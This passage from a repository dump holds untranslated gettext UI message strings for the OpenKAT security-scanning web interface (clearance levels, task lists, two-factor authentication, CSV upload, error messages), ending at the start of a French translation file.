rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\n#, python-format\nmsgid \"\"\n\"An overview of \\\"%(ooi)s\\\", object type \\\"%(type)s\\\". This shows general \"\n\"information and its related objects. It also gives the possibility to add \"\n\"additional related objects, or to scan for them.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly discourage you to do so, you can also disable two-factor \"\n\"authentication for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/twilio/sms_message.html\n#, python-format\nmsgid \"Your OTP token is %(token)s\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"Automate the creation of multiple objects by uploading a CSV file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_csv.html\nmsgid \"These are the criteria for CSV upload:\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"Automate the creation of multiple objects by uploading a raw file.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html\nmsgid \"\"\n\"An input OOI can be selected for the normalizer to attach newly yielded OOIs \"\n\"to. If no input OOI was used for the raw file, a placeholder ExternalScan \"\n\"OOI can be used. ExternalScan OOIs can be created from the objects page. \"\n\"When a new version of the raw file is generated, the same ExternalScan OOI \"\n\"should be chosen to ensure that old results are overwritten.\"\nmsgstr \"\"\n\n#: rocky/templates/upload_raw.html rocky/views/upload_raw.py\nmsgid \"Upload raw\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"Getting raw data failed.\"\nmsgstr \"\"\n\n#: rocky/views/bytes_raw.py\nmsgid \"The task does not have any raw data.\"\nmsgstr \"\"\n\n#: rocky/views/finding_list.py rocky/views/ooi_list.py\nmsgid \"Unknown action.\"\nmsgstr \"\"\n\n#: rocky/views/health.py\nmsgid \"Beautified\"\nmsgstr \"\"\n\n#: rocky/views/indemnification_add.py\nmsgid \"Indemnification successfully set.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"The selected date is in the future.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Can not parse date, falling back to show current date.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"You do not have the permission to add items to a dashboard.\"\nmsgstr \"\"\n\n#: rocky/views/mixins.py\nmsgid \"Dashboard item has been added.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_add.py\n#, python-format\nmsgid \"Add %(ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"\"\n\"Cannot set clearance level. It must be provided and must be a valid number.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Only Question OOIs can be answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail.py\nmsgid \"Question has been answered.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_detail_related_object.py\nmsgid \" (as \"\nmsgstr \"\"\n\n#: rocky/views/ooi_findings.py\nmsgid \"Object findings\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"No OOIs selected.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance levels to L%s. Indemnification not present at \"\n\"organization %s.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You were trusted a clearance level \"\n\"of L%s. Contact your administrator to receive a higher clearance.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Could not raise clearance level to L%s. You acknowledged a clearance level \"\n\"of L%s. Please accept the clearance level below to proceed.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while saving clearance levels.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"One of the OOI's doesn't exist\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set scan profile to %s for %d OOIs.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while setting clearance levels to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"\"\n\"An error occurred while setting clearance levels to inherit: one of the OOIs \"\n\"doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"Successfully set %d OOI(s) clearance level to inherit.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting oois.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\nmsgid \"An error occurred while deleting OOIs: one of the OOIs doesn't exist.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_list.py\n#, python-format\nmsgid \"\"\n\"Successfully deleted %d ooi(s). Note: Bits can recreate objects \"\n\"automatically.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Please select at least one finding.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully unmuted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_mute.py\nmsgid \"Finding(s) successfully muted.\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Tree Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_tree.py\nmsgid \"Graph Visualisation\"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Observed_at: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"OOI types: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance level: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Clearance type: \"\nmsgstr \"\"\n\n#: rocky/views/ooi_view.py\nmsgid \"Searching for: \"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Setup\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"Organization added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_add.py\nmsgid \"You are not allowed to add organizations.\"\nmsgstr \"\"\n\n#: rocky/views/organization_edit.py\n#, python-format\nmsgid \"Organization %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Add column titles, followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The columns are: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Clearance levels should be between -1 and 4.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Account type can be one of: \"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Member added successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"The csv file is missing required columns\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid account type: '{account_type}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid data for: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\n#, python-brace-format\nmsgid \"Invalid email address: '{email}'\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Successfully processed users from csv.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_add.py\nmsgid \"Error parsing the csv file. Please verify its contents.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"Member %s successfully updated.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\n#, python-format\nmsgid \"\"\n\"The updated trusted clearance level of L%s is lower then the member's \"\n\"acknowledged clearance level of L%s. This member only has clearance for \"\n\"level L%s. For this reason the acknowledged clearance level has been set at \"\n\"the same level as trusted clearance level.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_edit.py\nmsgid \"\"\n\"You have trusted this member with a higher trusted level than member \"\n\"acknowledged. Member must first accept this level to use it.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Blocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_member_list.py\n#, python-format\nmsgid \"Unblocked member %s successfully.\"\nmsgstr \"\"\n\n#: rocky/views/organization_settings.py\n#, python-brace-format\nmsgid \"Recalculated {number_of_bits} bits. Duration: {duration}\"\nmsgstr \"\"\n\n#: rocky/views/page_actions.py\nmsgid \"Could not process your request, action required.\"\nmsgstr \"\"\n\n#: rocky/views/scan_profile.py\nmsgid \"\"\n\"Cannot set clearance level. The clearance type must be inherited or declared.\"\nmsgstr \"\"\n\n#: rocky/views/scans.py\nmsgid \"Scans\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"Your report has been scheduled.\"\nmsgstr \"\"\n\n#: rocky/views/scheduler.py\nmsgid \"\"\n\"Your task is scheduled and will soon be started in the background. Results \"\n\"will be added to the object list when they are in. It may take some time, a \"\n\"refresh of the page may be needed to show the results.\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\n#, python-brace-format\nmsgid \"Fetching tasks failed: no connection with scheduler: {error}\"\nmsgstr \"\"\n\n#: rocky/views/tasks.py\nmsgid \"All Tasks\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Add column titles. Followed by each object on a new line.\"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For URL object type, a column 'raw' with URL values is required, starting \"\n\"with http:// or https://, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For Hostname object type, a column with 'name' values is required, \"\n\"optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"For IPAddressV4 and IPAddressV6 object types, a column of 'address' is \"\n\"required, optionally a second column 'network' is supported \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"\"\n\"Clearance levels can be controlled by a column 'clearance' taking numerical \"\n\"values 0, 1, 2, 3, and 4 for the corresponding clearance level (other values \"\n\"are ignored) \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) could not be created for row number(s): \"\nmsgstr \"\"\n\n#: rocky/views/upload_csv.py\nmsgid \"Object(s) successfully added.\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: status code %d\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\n#, python-format\nmsgid \"Raw file could not be uploaded to Bytes: %s\"\nmsgstr \"\"\n\n#: rocky/views/upload_raw.py\nmsgid \"Raw file successfully added.\"\nmsgstr \"\"\n"
  },
  {
    "path": "rocky/rocky/locale/fr/LC_MESSAGES/django.po",
    "content": "# SOME DESCRIPTIVE TITLE.\n# Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER\n# This file is distributed under the same license as the PACKAGE package.\n# jan klopper <jan@underdark.nl>, 2023.\n#: reports/forms.py\nmsgid \"\"\nmsgstr \"\"\n\"Project-Id-Version: PACKAGE VERSION\\n\"\n\"Report-Msgid-Bugs-To: \\n\"\n\"POT-Creation-Date: 2025-08-20 07:38+0000\\n\"\n\"PO-Revision-Date: 2025-08-22 09:39+0000\\n\"\n\"Last-Translator: Anonymous <noreply@weblate.org>\\n\"\n\"Language-Team: French <https://hosted.weblate.org/projects/openkat/nl-kat-\"\n\"coordination/fr/>\\n\"\n\"Language: fr\\n\"\n\"MIME-Version: 1.0\\n\"\n\"Content-Type: text/plain; charset=UTF-8\\n\"\n\"Content-Transfer-Encoding: 8bit\\n\"\n\"Plural-Forms: nplurals=2; plural=n > 1;\\n\"\n\"X-Generator: Weblate 5.13\\n\"\n\n#: account/admin.py\nmsgid \"Permissions\"\nmsgstr \"\"\n\n#: account/admin.py\nmsgid \"Important dates\"\nmsgstr \"\"\n\n#: account/forms/account_setup.py crisis_room/forms.py\n#: 